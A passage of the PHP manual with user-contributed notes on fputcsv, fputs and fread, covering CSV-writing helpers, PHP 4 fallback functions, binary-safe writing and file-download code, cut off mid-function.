Ovidiu Curcan 28-Jul-2011 03:48
Unexpected (to me) behaviour: the enclosure characters inside the strings are doubled *unless* they're preceded by a backslash. If the enclosure is preceded by a backslash it's considered to be already escaped.

<?php

$data = array(
    'Doubled: -> " <-',
    'NOT doubled: -> \" <-',
);

$buffer = fopen('php://temp', 'r+');
fputcsv($buffer, $data);
rewind($buffer);
$csv = fgets($buffer);
fclose($buffer);

echo $csv; // "Doubled: -> "" <-","NOT doubled: -> \" <-"

?>

As a result, the CSV file generated by my application was not correctly opened by OpenOffice.org. The offending row and all the subsequent rows were missing from the spreadsheet.

PHP: 5.3.2-1ubuntu4.9
OpenOffice.org: 3.2.0
jamie at agentdesign dot co dot uk 20-Jul-2011 06:05
Utility function to output a mysql query to csv with the option to write to file or send back to the browser as a csv attachment.

<?php
    function query_to_csv($db_conn, $query, $filename, $attachment = false, $headers = true) {

        if($attachment) {
            // send response headers to the browser
            header( 'Content-Type: text/csv' );
            header( 'Content-Disposition: attachment;filename='.$filename);
            $fp = fopen('php://output', 'w');
        } else {
            $fp = fopen($filename, 'w');
        }

        $result = mysql_query($query, $db_conn) or die( mysql_error( $db_conn ) );

        if($headers) {
            // output header row (if at least one row exists)
            $row = mysql_fetch_assoc($result);
            if($row) {
                fputcsv($fp, array_keys($row));
                // reset pointer back to beginning
                mysql_data_seek($result, 0);
            }
        }

        while($row = mysql_fetch_assoc($result)) {
            fputcsv($fp, $row);
        }

        fclose($fp);
    }

    // Using the function
    $sql = "SELECT * FROM table";
    // $db_conn should be a valid db handle

    // output as an attachment
    query_to_csv($db_conn, $sql, "test.csv", true);

    // output to file system
    query_to_csv($db_conn, $sql, "test.csv", false);
?>
Christine K - crimson at technologist dot com 15-May-2011 07:09
These two handy functions allow you to use fgetcsv with a string instead of a file handle and fputcsv to convert an array to a string instead of writing to a file handle. Hopefully this functionality will exist natively soon. Props to prior notes on these functions that led me to these.
<?php
    function array_to_CSV($data)
    {
        $outstream = fopen("php://temp", 'r+');
        fputcsv($outstream, $data, ',', '"');
        rewind($outstream);
        $csv = fgets($outstream);
        fclose($outstream);
        return $csv;
    }

    function CSV_to_array($data)
    {
        $instream = fopen("php://temp", 'r+');
        fwrite($instream, $data);
        rewind($instream);
        $csv = fgetcsv($instream, 9999999, ',', '"');
        fclose($instream);
        return($csv);
    }
?>
Guile 21-Sep-2010 03:32
Here is a way to send csv like echo does :
<?php
function outputCSV($data) {

    $outstream = fopen("php://output", 'w');

    function __outputCSV(&$vals, $key, $filehandler) {
        fputcsv($filehandler, $vals, ';', '"');
    }
    array_walk($data, '__outputCSV', $outstream);

    fclose($outstream);
}

$mydata = array(
 array('data11', 'data12', 'data13'),
 array('data21', 'data22', 'data23'),
 array('data31', 'data32', 'data23'));

outputCSV($mydata);
/* Output sent :
data11;data12;data13
data21;data22;data23
data31;data32;data23
*/
?>

Moreover, this can be nicer with PHP5.3+ closures
simeonl at dbc dot co dot nz 23-Mar-2010 08:24
In general I found myself wanting to get the result as a string rather than writing it to a file, and in particular I wanted to produce a CSV using an EOL that might not be the same as that on the server where I generated it.  This is how I solved the problem without rewriting  fputcsv.

<?php
function sputcsv($row, $delimiter = ',', $enclosure = '"', $eol = "\n")
{
    static $fp = false;
    if ($fp === false)
    {
        $fp = fopen('php://temp', 'r+'); // see http://php.net/manual/en/wrappers.php.php - yes there are 2 '.php's on the end.
        // NB: anything you read/write to/from 'php://temp' is specific to this filehandle
    }
    else
    {
        rewind($fp);
    }

    if (fputcsv($fp, $row, $delimiter, $enclosure) === false)
    {
        return false;
    }

    rewind($fp);
    $csv = fgets($fp);

    if ($eol != PHP_EOL)
    {
        $csv = substr($csv, 0, (0 - strlen(PHP_EOL))) . $eol;
    }

    return $csv;
}

// test
$rows = array
(
    array('blue, sky', 'green, lime', 'red', 'black'),
    array('white', 'gold', 'purple, imperial', 'grey, slate'),
    array('orange, burnt', 'pink, hot', 'violet', 'indigo'),
);

if (PHP_EOL == "\r\n")
{
    $eol = "\n";
}
else
{
    $eol = "\r\n";
}

foreach($rows as $row)
{
    echo nl2br(sputcsv($row, ',', '"', $eol));
}
?>

The test should produce something like the following:

"blue, sky","green, lime",red,black
white,gold,"purple, imperial","grey, slate"
"orange, burnt","pink, hot",violet,indigo
khishigbaatar at 2xcoding dot com 18-Mar-2010 12:24
Use '&quot;' instead of '"' in enclosure.

Below example's result is better than the Example#1.

<?php

$list = array (
    'aaa,bbb,ccc,dddd',
    '123,456,789',
    '"aaa","bbb"'
);

$fp = fopen('file.csv', 'w');

foreach ($list as $line) {
    fputcsv($fp, split(',', $line), ',', '&quot;');
}

fclose($fp);
?>
ben at NOSPAMdcphp dot com 15-Oct-2009 10:02
If you're looking to output an Excel format (.xls) file, consider using PEAR's Spreadsheet_Excel_Writer instead:

http://pear.php.net/manual/en/package.fileformats.spreadsheet-excel-writer.intro.php
Jason 01-Jul-2009 11:47
To get the mssafe_csv function below to work using PHP5, I had to change line 50 from:
fputcsv($fp, $line);

to:
fputcsv($fp, split(',', $line));

Otherwise works great! Thanks for the function.
alex /-\-l- windeagle DOT org 11-Jun-2009 08:41
TAB delimiting.

Using fputcsv to output a CSV with a tab delimiter is a little tricky since the delimiter field only takes one character.
The answer is to use the chr() function.  The ascii code for tab is 9, so chr(9) returns a tab character.

<?php
    fputcsv($fp, $foo, '\t');      //won't work
    fputcsv($fp, $foo, '    ');    //won't work

    fputcsv($fp, $foo, chr(9));    //works
?>

==================

it should be:
<?php
    fputcsv($fp, $foo, "\t");
?>
you just forgot that single quotes are literal...meaning whatever you put there that's what will come out so '\t' would be same as 't' because \ in that case would be only used for escaping but if you use double quotes then that would work.
sam at nospamthankstolton dot co dot uk 21-May-2009 03:43
TAB delimiting.

Using fputcsv to output a CSV with a tab delimiter is a little tricky since the delimiter field only takes one character.
The answer is to use the chr() function.  The ascii code for tab is 9, so chr(9) returns a tab character.

<?php
    fputcsv($fp, $foo, '\t');      //won't work
    fputcsv($fp, $foo, '    ');    //won't work

    fputcsv($fp, $foo, chr(9));    //works
?>
soapergem at gmail dot com 14-May-2009 08:17
I've created a function for quickly generating CSV files that work with Microsoft applications. In the field I learned a few things about generating CSVs that are not always obvious. First, since PHP is generally *nix-based, it makes sense that the line endings are always \n instead of \r\n. However, certain Microsoft programs (I'm looking at you, Access 97), will fail to recognize the CSV properly unless each line ends with \r\n. So this function changes the line endings accordingly. Secondly, if the first column heading / value of the CSV file begins with uppercase ID, certain Microsoft programs (ahem, Excel 2007) will interpret the file as being in the SYLK format rather than CSV, as described here: http://support.microsoft.com/kb/323626

This function accommodates for that as well, by forcibly enclosing that first value in quotes (when this doesn't occur automatically). It would be fairly simple to modify this function to use another delimiter if need be and I leave that as an exercise to the reader. So quite simply, this function is used for outputting CSV data to a CSV file in a way that is safe for use with Windows applications. It takes two parameters + one optional parameter: the location of where the file should be saved, an array of data rows, and an optional array of column headings. (Technically you could omit the headings array and just include it as the first row of the data, but it is often useful to keep this data stored in different arrays in practice.)

<?php

function mssafe_csv($filepath, $data, $header = array())
{
    if ( $fp = fopen($filepath, 'w') ) {
        $show_header = true;
        if ( empty($header) ) {
            $show_header = false;
            reset($data);
            $line = current($data);
            if ( !empty($line) ) {
                reset($line);
                $first = current($line);
                if ( substr($first, 0, 2) == 'ID' && !preg_match('/["\\s,]/', $first) ) {
                    array_shift($data);
                    array_shift($line);
                    if ( empty($line) ) {
                        fwrite($fp, "\"{$first}\"\r\n");
                    } else {
                        fwrite($fp, "\"{$first}\",");
                        fputcsv($fp, $line);
                        fseek($fp, -1, SEEK_CUR);
                        fwrite($fp, "\r\n");
                    }
                }
            }
        } else {
            reset($header);
            $first = current($header);
            if ( substr($first, 0, 2) == 'ID' && !preg_match('/["\\s,]/', $first) ) {
                array_shift($header);
                if ( empty($header) ) {
                    $show_header = false;
                    fwrite($fp, "\"{$first}\"\r\n");
                } else {
                    fwrite($fp, "\"{$first}\",");
                }
            }
        }
        if ( $show_header ) {
            fputcsv($fp, $header);
            fseek($fp, -1, SEEK_CUR);
            fwrite($fp, "\r\n");
        }
        foreach ( $data as $line ) {
            fputcsv($fp, $line);
            fseek($fp, -1, SEEK_CUR);
            fwrite($fp, "\r\n");
        }
        fclose($fp);
    } else {
        return false;
    }
    return true;
}

?>
nate at example dot com 19-Nov-2008 10:17
Alright, after playing a while, I'm confident the following replacement function works in all cases, including the ones for which the native fputcsv function fails. If fputcsv fails to work for you (particularly with mysql csv imports), try this function as a drop-in replacement instead.

Arguments to pass in are exactly the same as for fputcsv, though I have added an additional $mysql_null boolean which allows one to turn php null's into mysql-insertable nulls (by default, this add-on is disabled, thus working identically to fputcsv [except this one works!]).

<?php

function fputcsv2 ($fh, array $fields, $delimiter = ',', $enclosure = '"', $mysql_null = false) {
    $delimiter_esc = preg_quote($delimiter, '/');
    $enclosure_esc = preg_quote($enclosure, '/');

    $output = array();
    foreach ($fields as $field) {
        if ($field === null && $mysql_null) {
            $output[] = 'NULL';
            continue;
        }

        $output[] = preg_match("/(?:${delimiter_esc}|${enclosure_esc}|\s)/", $field) ? (
            $enclosure . str_replace($enclosure, $enclosure . $enclosure, $field) . $enclosure
        ) : $field;
    }

    fwrite($fh, join($delimiter, $output) . "\n");
}

// the _EXACT_ LOAD DATA INFILE command to use
// (if you pass in something different for $delimiter
// and/or $enclosure above, change them here too;
// but _LEAVE ESCAPED BY EMPTY!_).
/*
LOAD DATA INFILE
    '/path/to/file.csv'

INTO TABLE
    my_table

FIELDS TERMINATED BY
    ','

OPTIONALLY ENCLOSED BY
    '"'

ESCAPED BY
    ''

LINES TERMINATED BY
    '\n'
*/

?>
jon+dontspamme at phpsitesolutions dot com 29-Jul-2008 10:44
I found that the fputcsv examples for PHP 4 missed one thing, that was proper handling of the $enclosure value when it is a quote (if a quote is passed in a field, and it is delimited by a slash, it will be improperly handled by the functions submitted here).

My modified function was built using the actual PHP5 source for fputcsv, with the addition of properly reacting to the existence of a delimited quote in the field being processed.

<?php
if (!function_exists('fputcsv')) {
    function fputcsv(&$handle, $fields = array(), $delimiter = ',', $enclosure = '"') {

        // Sanity Check
        if (!is_resource($handle)) {
            trigger_error('fputcsv() expects parameter 1 to be resource, ' .
                gettype($handle) . ' given', E_USER_WARNING);
            return false;
        }

        if ($delimiter!=NULL) {
            if( strlen($delimiter) < 1 ) {
                trigger_error('delimiter must be a character', E_USER_WARNING);
                return false;
            }elseif( strlen($delimiter) > 1 ) {
                trigger_error('delimiter must be a single character', E_USER_NOTICE);
            }

            /* use first character from string */
            $delimiter = $delimiter[0];
        }

        if( $enclosure!=NULL ) {
             if( strlen($enclosure) < 1 ) {
                trigger_error('enclosure must be a character', E_USER_WARNING);
                return false;
            }elseif( strlen($enclosure) > 1 ) {
                trigger_error('enclosure must be a single character', E_USER_NOTICE);
            }

            /* use first character from string */
            $enclosure = $enclosure[0];
       }

        $i = 0;
        $csvline = '';
        $escape_char = '\\';
        $field_cnt = count($fields);
        $enc_is_quote = in_array($enclosure, array('"',"'"));
        reset($fields);

        foreach( $fields AS $field ) {

            /* enclose a field that contains a delimiter, an enclosure character, or a newline */
            if( is_string($field) && (
                strpos($field, $delimiter)!==false ||
                strpos($field, $enclosure)!==false ||
                strpos($field, $escape_char)!==false ||
                strpos($field, "\n")!==false ||
                strpos($field, "\r")!==false ||
                strpos($field, "\t")!==false ||
                strpos($field, ' ')!==false ) ) {

                $field_len = strlen($field);
                $escaped = 0;

                $csvline .= $enclosure;
                for( $ch = 0; $ch < $field_len; $ch++ )    {
                    if( $field[$ch] == $escape_char && $field[$ch+1] == $enclosure && $enc_is_quote ) {
                        continue;
                    }elseif( $field[$ch] == $escape_char ) {
                        $escaped = 1;
                    }elseif( !$escaped && $field[$ch] == $enclosure ) {
                        $csvline .= $enclosure;
                    }else{
                        $escaped = 0;
                    }
                    $csvline .= $field[$ch];
                }
                $csvline .= $enclosure;
            } else {
                $csvline .= $field;
            }

            if( $i++ != $field_cnt ) {
                $csvline .= $delimiter;
            }
        }

        $csvline .= "\n";

        return fwrite($handle, $csvline);
    }
}
?>
boefje at hotmail dot com 10-Dec-2007 04:28
A complete example to write your records (rows) to a csv file using PHP4.

<?php

if (!function_exists('fputcsv'))
{

  function fputcsv(&$handle, $fields = array(), $delimiter = ';', $enclosure = '"')
  {
    $str = '';
    $escape_char = '\\';
    foreach ($fields as $value)
    {
      if (strpos($value, $delimiter) !== false ||
          strpos($value, $enclosure) !== false ||
          strpos($value, "\n") !== false ||
          strpos($value, "\r") !== false ||
          strpos($value, "\t") !== false ||
          strpos($value, ' ') !== false)
      {
        $str2 = $enclosure;
        $escaped = 0;
        $len = strlen($value);
        for ($i=0;$i<$len;$i++)
        {
          if ($value[$i] == $escape_char)
            $escaped = 1;
          else if (!$escaped && $value[$i] == $enclosure)
            $str2 .= $enclosure;
          else
            $escaped = 0;
          $str2 .= $value[$i];
        }
        $str2 .= $enclosure;
        $str .= $str2.$delimiter;
      }
      else
        $str .= $value.$delimiter;
    }
    $str = substr($str,0,-1);
    $str .= "\n";
    return fwrite($handle, $str);
  }

}

function WriteCsv($fileName, $delimiter = ';', $records)
{

  $result = array();
  foreach($records as $key => $value)
    $results[] = implode($delimiter, $value);
  $fp = fopen($fileName, 'w');
  foreach ($results as $result)
    fputcsv($fp, split($delimiter, $result));
  fclose($fp);
}

# =================== test ====================

define('CSV_SEPERATOR',';');
define('CSV_PATH','\\');
define('CSV_FILENAME','results.csv');

$records = array (array('aaa','bbb','ccc','dddd'),
                  array('123','456','789'),
                  array('"test1"', '"test2"', '"test3"')
                 );

$fileName = $_SERVER['DOCUMENT_ROOT'] . CSV_PATH . CSV_FILENAME;
WriteCsv ($fileName,';',$records);

echo '<a href="' . CSV_PATH . CSV_FILENAME . '" target="_blanc">CSV File</a>';

?>
ifunk 16-Sep-2007 06:04
I converted this from the PHP source code. This replicates PHP5 functionality exactly, whereas the other examples here do not.

<?php

if (!function_exists('fputcsv')) {

  function fputcsv(&$handle, $fields = array(), $delimiter = ',', $enclosure = '"') {
    $str = '';
    $escape_char = '\\';
    foreach ($fields as $value) {
      if (strpos($value, $delimiter) !== false ||
          strpos($value, $enclosure) !== false ||
          strpos($value, "\n") !== false ||
          strpos($value, "\r") !== false ||
          strpos($value, "\t") !== false ||
          strpos($value, ' ') !== false) {
        $str2 = $enclosure;
        $escaped = 0;
        $len = strlen($value);
        for ($i=0;$i<$len;$i++) {
          if ($value[$i] == $escape_char) {
            $escaped = 1;
          } else if (!$escaped && $value[$i] == $enclosure) {
            $str2 .= $enclosure;
          } else {
            $escaped = 0;
          }
          $str2 .= $value[$i];
        }
        $str2 .= $enclosure;
        $str .= $str2.$delimiter;
      } else {
        $str .= $value.$delimiter;
      }
    }
    $str = substr($str,0,-1);
    $str .= "\n";
    return fwrite($handle, $str);
  }

}

?>
alexxed thething gmail thething com 10-Aug-2007 12:28
A event simpler way:

<?php
    function fputcsv($hFile, $aRow, $sSeparator=',', $sEnclosure='"')
    {
       foreach ($aRow as $iIdx=>$sCell)
          $aRow[$iIdx] = str_replace($sEnclosure, $sEnclosure.$sEnclosure, $sCell);

       fwrite($hFile, join($aRow, $sSeparator)."\n");
    }
?>
Jonathon Hibbard at phpingenuity.com 03-Aug-2007 08:23
This function is a replacement for PHP 4.  It basically takes an array you pass it, and creates a delimited string.  If you want ot use the key as the field name, you can tell the second paramater to use the key.  The last is the delimiter you want each value to be seperated by.  Should be pretty straight forward.

<?php
function generate_csv_data($data,$use_key=false,$delm=',') {
  $output = NULL;
  if(is_array($data)) {
    if($use_key == false) {
      if(isset($data[0]) && is_array($data[0])) {
        foreach($data as $key) {
          $output .= implode($delm,$key);
          $output .= "\n";
        }
      } else {
        $output .= implode("$delm", $data)."\n";
      }
    } else {
      foreach($data as $key => $value) {
        $output .= "$key{$delm}$value\n";
      }
    }
  } else {
    $output = $data;
  }
  if(empty($output)) {
    trigger_error('OUTPUT WAS EMPTY!', E_USER_ERROR);
    return false;
  }
  return $output;
}
?>
enzo dot d dot a at example dot com 26-Jun-2007 03:08
Compact fputcsv function(), for Php version >= 4.0.5 and < 5.1.
Not a "good programming practice", but if you need save bytes ...

<?php
function fputcsv($fp, $arr, $del=",", $enc="\"") {
    fwrite($fp, (count($arr)) ? $enc . implode("{$enc}{$del}{$enc}", str_replace("\"", "\"\"", $arr)) . $enc . "\n" : "\n");
}
?>
bl at mindbench dot nl 26-Mar-2007 12:55
If you need to save the output to a variable (e.g. for use within a framework) you can write to a temporary memory-wrapper and retrieve it's contents:

<?php
// output up to 5MB is kept in memory, if it becomes bigger it will automatically be written to a temporary file
$csv = fopen('php://temp/maxmemory:'. (5*1024*1024), 'r+');

fputcsv($csv, array('blah','blah'));

rewind($csv);

// put it all in a variable
$output = stream_get_contents($csv);
?>
MagicalTux at ooKoo dot org 18-Jan-2007 06:08
If you need to send a CSV file directly to the browser, without writing in an external file, you can open the output and use fputcsv on it..

<?php
$out = fopen('php://output', 'w');
fputcsv($out, array('this','is some', 'csv "stuff", you know.'));
fclose($out);
?>
heather at heathercash dot com 25-Sep-2005 04:18
Here is an adaptation to boonerunner's function for fputcsv.
It uses a 2-dimensional array.
Each sub-array is a line in the csv file which then ends up being seperated by commas.

<?php
function fputcsv($filePointer,$dataArray,$delimiter=",",$enclosure="\""){
    // Write a line to a file
    // $filePointer = the file resource to write to
    // $dataArray = the data to write out
    // $delimeter = the field separator

    // Build the string
    $string = "";

    // for each array element, which represents a line in the csv file...
    foreach($dataArray as $line){

        // No leading delimiter
        $writeDelimiter = FALSE;

        foreach($line as $dataElement){
            // Replaces a double quote with two double quotes
            $dataElement=str_replace("\"", "\"\"", $dataElement);

            // Adds a delimiter before each field (except the first)
            if($writeDelimiter) $string .= $delimiter;

            // Encloses each field with $enclosure and adds it to the string
            $string .= $enclosure . $dataElement . $enclosure;

            // Delimiters are used every time except the first.
            $writeDelimiter = TRUE;
        }
        // Append new line
        $string .= "\n";

    } // end foreach($dataArray as $line)

    // Write the string to the file
    fwrite($filePointer,$string);
}
?>
boonerunner at hotmail dot com 15-Sep-2005 07:47
Here is an adaption of the above code that adds support for double quotes inside a field. (One double quote is replaced with a pair of double quotes per the CSV format).

<?php
 function fputcsv($filePointer,$dataArray,$delimiter,$enclosure)
  {
  // Write a line to a file
  // $filePointer = the file resource to write to
  // $dataArray = the data to write out
  // $delimeter = the field separator

  // Build the string
  $string = "";

  // No leading delimiter
  $writeDelimiter = FALSE;
  foreach($dataArray as $dataElement)
   {
    // Replaces a double quote with two double quotes
    $dataElement=str_replace("\"", "\"\"", $dataElement);

    // Adds a delimiter before each field (except the first)
    if($writeDelimiter) $string .= $delimiter;

    // Encloses each field with $enclosure and adds it to the string
    $string .= $enclosure . $dataElement . $enclosure;

    // Delimiters are used every time except the first.
    $writeDelimiter = TRUE;
   } // end foreach($dataArray as $dataElement)

  // Append new line
  $string .= "\n";

  // Write the string to the file
  fwrite($filePointer,$string);
  }
?>
twebb at boisecenter dot com 21-Jan-2005 05:54
What about cells that span multiple lines?  This function allows for cells to contain newlines:

<?php
function fputcsv($handle, $row, $fd=',', $quot='"')
{
   $str='';
   foreach ($row as $cell)
   {
      $cell = str_replace($quot, $quot.$quot, $cell);

      if (strchr($cell, $fd) !== FALSE || strchr($cell, $quot) !== FALSE || strchr($cell, "\n") !== FALSE)
      {
         $str .= $quot.$cell.$quot.$fd;
      }
      else
      {
         $str .= $cell.$fd;
      }
   }

   fputs($handle, substr($str, 0, -1)."\n");

   return strlen($str);
}
?>

I found this reference on the web:
http://www.creativyst.com/Doc/Articles/CSV/CSV01.htm
drew at zitnay dot com 22-Nov-2004 09:42
[EDIT BY danbrown AT php DOT net: This is a revised function with a few bugfixes and improvements done by this author.  The original function example was written by arthur AT mclean DOT ws, and rewritten between by arthur AT korn DOT ch.]

- when calling str_replace(), you must assign $cell the return value or nothing gets saved

- when using strchr(), you should explicitly check !== FALSE, or it'll treat a return value of 0 (found the character at string position 0) as FALSE

- Excel seems to quote not only fields containing commas, but fields containing quotes as well, so I've added another strchr() for quotes; I'm not saying Microsoft knows the correct way for sure, but it seems reasonable to me

- the original function put a space after each comma; that might be legal, I don't know, but I've never seen it (and I don't think it is, because then how would you indicate you wanted a field to start with a space other than by quoting it?)

- the original function didn't correctly return the length of the data outputted

Here's the function, fixed up a bit:

<?php
function fputcsv($handle, $row, $fd=',', $quot='"')
{
   $str='';
   foreach ($row as $cell) {
       $cell=str_replace(Array($quot,        "\n"),
                         Array($quot.$quot,  ''),
                         $cell);
       if (strchr($cell, $fd)!==FALSE || strchr($cell, $quot)!==FALSE) {
           $str.=$quot.$cell.$quot.$fd;
       } else {
           $str.=$cell.$fd;
       }
   }

   fputs($handle, substr($str, 0, -1)."\n");

   return strlen($str);
}
?>

Drew
fpassthru
fputs
Filesystem Functions


Alias of fwrite

fputcsv
fread
Filesystem Functions
PHP Manual

fputs

(PHP 4, PHP 5)

fputs — Alias of fwrite()

Description

This function is an alias of: fwrite().

User Contributed Notes

Nile River 11-Dec-2010 10:54
This will create a visitor count for your webpage

<?php

$filename = 'sitevisitors.txt';

if (file_exists($filename))
    {
        $count = file('sitevisitors.txt');
        $count[0] ++;
        $fp = fopen("sitevisitors.txt", "w");
        fputs ($fp, "$count[0]");
        fclose ($fp);
        echo $count[0];
    }

else
    {
        $fh = fopen("sitevisitors.txt", "w");
        if($fh==false)
            die("unable to create file");
        fputs ($fh, 1);
        fclose ($fh);
        $count = file('sitevisitors.txt');
        echo $count[0];
    }

?>
camilord at kagayan dot com 12-Feb-2009 06:47
Here's a sample using fputs() function... it may be useful like making logs visiting your website by recording the IP address.

<?php

// file container where all texts are to be written
$fileContainer = date("MjY").'.log';

// open the said file
$filePointer = fopen($fileContainer,"w+");

// text to be written in the file
$logMsg = "You are located at ".$_SERVER["REMOTE_ADDR"]."\n";

// below is where the log message has been written to a file.
fputs($filePointer,$logMsg);

// close the open said file after writing the text
fclose($filePointer);

?>

that's it... :)

-- camilord
stalker at ruun dot de 14-Sep-2005 12:08
as a continue of rembert:
so you should always use strlen($cmd) as third parameter if you use fsockopen -- because nearly everything you write e.g. in telnet or ssh has 2 or more "words".

(proud user of php4)

gr€€z stalker
rembert at floating-point dot nl 21-Nov-2002 04:03
Adding to Adam (Nedstat):
fputs without the length parm just writes all data up to but not including the first 0 byte it encounters.

Therefore fputs($fp,"hello\0world") will only write hello to $fp whereas
fputs($fp,"hello\0world",11) will write both words.

If this doesn't make sense for you, remember strings are always terminated with that 0 byte. Binary data doesn't have such a terminator byte as a 0 byte can be a completely valid piece of data therefore you always need to know the length of the binary datapart.

BTW strlen() is binary safe, so you can use that to get the length of the binary data part as well - this is different from C which counts the number of chars up to the 0 byte. So the example above could also be written as:

fputs($fp,"hello\0world",strlen("hello\0world"))
yvan dot rivard at cesart dot com 17-Apr-2001 02:52
This might seem silly for experienced users, but this bugged me for about two hours (searching and trying to debug the damn thing).

If you're on a Windows system doing tests on a Linux/Apache setup, and you're writing stuff to a text file (then load that file to see if your content is being written properly) and you realize only your first string is in there, your problem is not your Windows, not Linux and not Apache. It's probably Samba (the thing that makes it possible for your Linux and Windows boxes to talk to each other) that's caching your file... Try viewing your file via telnet or simply copy your file then read that copy.

You can see content is being written to your file anyway, because even though you don't see your new content (using notepad for example), you do see your filesize increasing as you add more text to your file.
08-Oct-2000 12:07
You can use here-documents in PHP but not for printing to a file pointer.

There's a lot to say on them so just go to the page: http://www.php.net/manual/language.types.string.php
Doug at Here dot Com 30-Jun-2000 05:46
The way I understand fputs (which is purported as an alias to fwrite which can be "Binary Safe")...

<?php
$fp = fopen("something.txt","w");
$string = "Hello World\\n";  // escape the slash from being magically
// being transformed into a newline
fwrite($fp, $string); // will proccess /n as newline ...
fwrite($fp, $string, strlen($string)); // will write the entire string to file without changing the '/n'
// into a single byte for newline on Unix-like machines or CR/LF on Win32 machines
?>

Hope this helps explain the definition of "could be Binary Safe". This is the reason why you must specify the length!

--Doug
adam at nedstat dot nl 16-Jun-1999 08:19
A note about including length: if you are writing binary data you should *always* specify the data's length.  The reason is that the operating system has a special character to denote end of *strings*, but not for binary data.  Binary data can be anything, so you can't very well reserve an end-of-data character.  So the reason why writing binary data without specifying it's length can truncate it is that the only thing the system has to go on (without writing the entire contents of memory starting at the variable's address) is the end-of-string character, which could very well appear randomly in the middle of your set of binary data.  The reason that length() could have worked on the variable is that it is implemented in C as sizeof(), which actually fetches the size of the memory chunk associated with the variable, but this is not advisable because sizeof() can also return the size of the *pointer* to the variable if you're not careful (ie, passing it by reference into a second function).  In C it's best to keep track of size of the data you are accumulating as you accumlate it, so probably in PHP, too.
bschuetz at affinity dot net 22-Dec-1998 07:30
Length is required if you are writing out a lot of data.  For instance, if you are base64 decoding an email attachment and writing it out to a file you have to specify the length if the file is over a certian size or else the binary data will be corrupt.

fputs($fp,$binary,strlen($binary));

Will yield the desired results.

When tested with a 1k the length wasn't required but with a larger file, around 27k it needs the length to work properly.
fputcsv
fread
Filesystem Functions


Binary-safe file read

fputs
fscanf
Filesystem Functions
PHP Manual

fread

(PHP 4, PHP 5)

fread — Binary-safe file read

Description

string fread ( resource $handle , int $length )

fread() reads up to length bytes from the file pointer referenced by handle. Reading stops as soon as one of the following conditions is met:

  • length bytes have been read
  • EOF (end of file) is reached
  • a packet becomes available or the socket timeout occurs (for network streams)
  • if the stream is read buffered and it does not represent a plain file, at most one read of up to a number of bytes equal to the chunk size (usually 8192) is made; depending on the previously buffered data, the size of the returned data may be larger than the chunk size.

Parameters

handle

A file system pointer resource that is typically created using fopen().

length

Up to length number of bytes read.

Return Values

Returns the read string or FALSE on failure.

Examples

Example #1 A simple fread() example

<?php
// get contents of a file into a string
$filename = "/usr/local/something.txt";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
fclose($handle);
?>

Example #2 Binary fread() example

Warning

On systems which differentiate between binary and text files (i.e. Windows) the file must be opened with 'b' included in fopen() mode parameter.

<?php
$filename = "c:\\files\\somepic.gif";
$handle = fopen($filename, "rb");
$contents = fread($handle, filesize($filename));
fclose($handle);
?>

Example #3 Remote fread() examples

Warning

When reading from anything that is not a regular local file, such as streams returned when reading remote files or from popen() and fsockopen(), reading will stop after a packet is available. This means that you should collect the data together in chunks as shown in the examples below.

<?php
// For PHP 5 and up
$handle = fopen("http://www.example.com/", "rb");
$contents = stream_get_contents($handle);
fclose($handle);
?>
<?php
$handle = fopen("http://www.example.com/", "rb");
$contents = '';
while (!feof($handle)) {
  $contents .= fread($handle, 8192);
}
fclose($handle);
?>

Notes

Note:

If you just want to get the contents of a file into a string, use file_get_contents() as it has much better performance than the code above.

Note:

Note that fread() reads from the current position of the file pointer. Use ftell() to find the current position of the pointer and rewind() to rewind the pointer position.

See Also

  • fwrite() - Binary-safe file write
  • fopen() - Opens file or URL
  • fsockopen() - Open Internet or Unix domain socket connection
  • popen() - Opens process file pointer
  • fgets() - Gets line from file pointer
  • fgetss() - Gets line from file pointer and strip HTML tags
  • fscanf() - Parses input from a file according to a format
  • file() - Reads entire file into an array
  • fpassthru() - Output all remaining data on a file pointer
  • ftell() - Returns the current position of the file read/write pointer
  • rewind() - Rewind the position of a file pointer

User Contributed Notes

andrej dot frelih at gmail dot com 27-Dec-2011 04:35
Another sample function that supports from/to range requests:

<?php
function download_file($file_name) {

    if (!file_exists($file_name)) { die("<b>404 File not found!</b>"); }

    $file_extension = strtolower(substr(strrchr($file_name,"."),1));
    $file_size = filesize($file_name);
    $md5_sum = md5_file($file_name);

   //This will set the Content-Type to the appropriate setting for the file
    switch($file_extension) {
        case "exe": $ctype="application/octet-stream"; break;
        case "zip": $ctype="application/zip"; break;
        case "mp3": $ctype="audio/mpeg"; break;
        case "mpg":$ctype="video/mpeg"; break;
        case "avi": $ctype="video/x-msvideo"; break;

        //The following are for extensions that shouldn't be downloaded (sensitive stuff, like php files)
        case "php":
        case "htm":
        case "html":
        case "txt": die("<b>Cannot be used for ". $file_extension ." files!</b>"); break;

        default: $ctype="application/force-download";
    }

    if (isset($_SERVER['HTTP_RANGE'])) {
        $partial_content = true;
        $range = explode("-", $_SERVER['HTTP_RANGE']);
        $offset = intval($range[0]);
        $length = intval($range[1]) - $offset;
    }
    else {
        $partial_content = false;
        $offset = 0;
        $length = $file_size;
    }

    //read the data from the file
    $handle = fopen($file_name, 'r');
    $buffer = '';
    fseek($handle, $offset);
    $buffer = fread($handle, $length);
    $md5_sum = md5($buffer);
    if ($partial_content) $data_size = intval($range[1]) - intval($range[0]);
    else $data_size = $file_size;
    fclose($handle);

    // send the headers and data
    header("Content-Length: " . $data_size);
    header("Content-md5: " . $md5_sum);
    header("Accept-Ranges: bytes");
    if ($partial_content) header('Content-Range: bytes ' . $offset . '-' . ($offset + $length) . '/' . $file_size);
    header("Connection: close");
    header("Content-type: " . $ctype);
    header('Content-Disposition: attachment; filename=' . $file_name);
    echo $buffer;
    flush();
}
?>
randym 20-Aug-2011 10:45
Concerning [problems with UTF-8 and] downloading Zip files I found that simply adding 3 lines of code before starting the fread to the buffer for delivery in all browsers solved the problem.

<?php
    ob_end_clean();
    ob_start();
    header( 'Content-Type:' );
?>

... see where placed in the function below:

<?php
function readfile_chunked( $filename, $retbytes = true ) {
    $chunksize = 1 * (1024 * 1024); // how many bytes per chunk
    $buffer = '';
    $cnt = 0;
    $handle = fopen( $filename, 'rb' );
    if ( $handle === false ) {
        return false;
    }
    ob_end_clean(); //added to fix ZIP file corruption
    ob_start(); //added to fix ZIP file corruption
    header( 'Content-Type:' ); //added to fix ZIP file corruption
    while ( !feof( $handle ) ) {
        $buffer = fread( $handle, $chunksize );
        //$buffer = str_replace("ï»¿","",$buffer);
        echo $buffer;
        ob_flush();
        flush();
        if ( $retbytes ) {
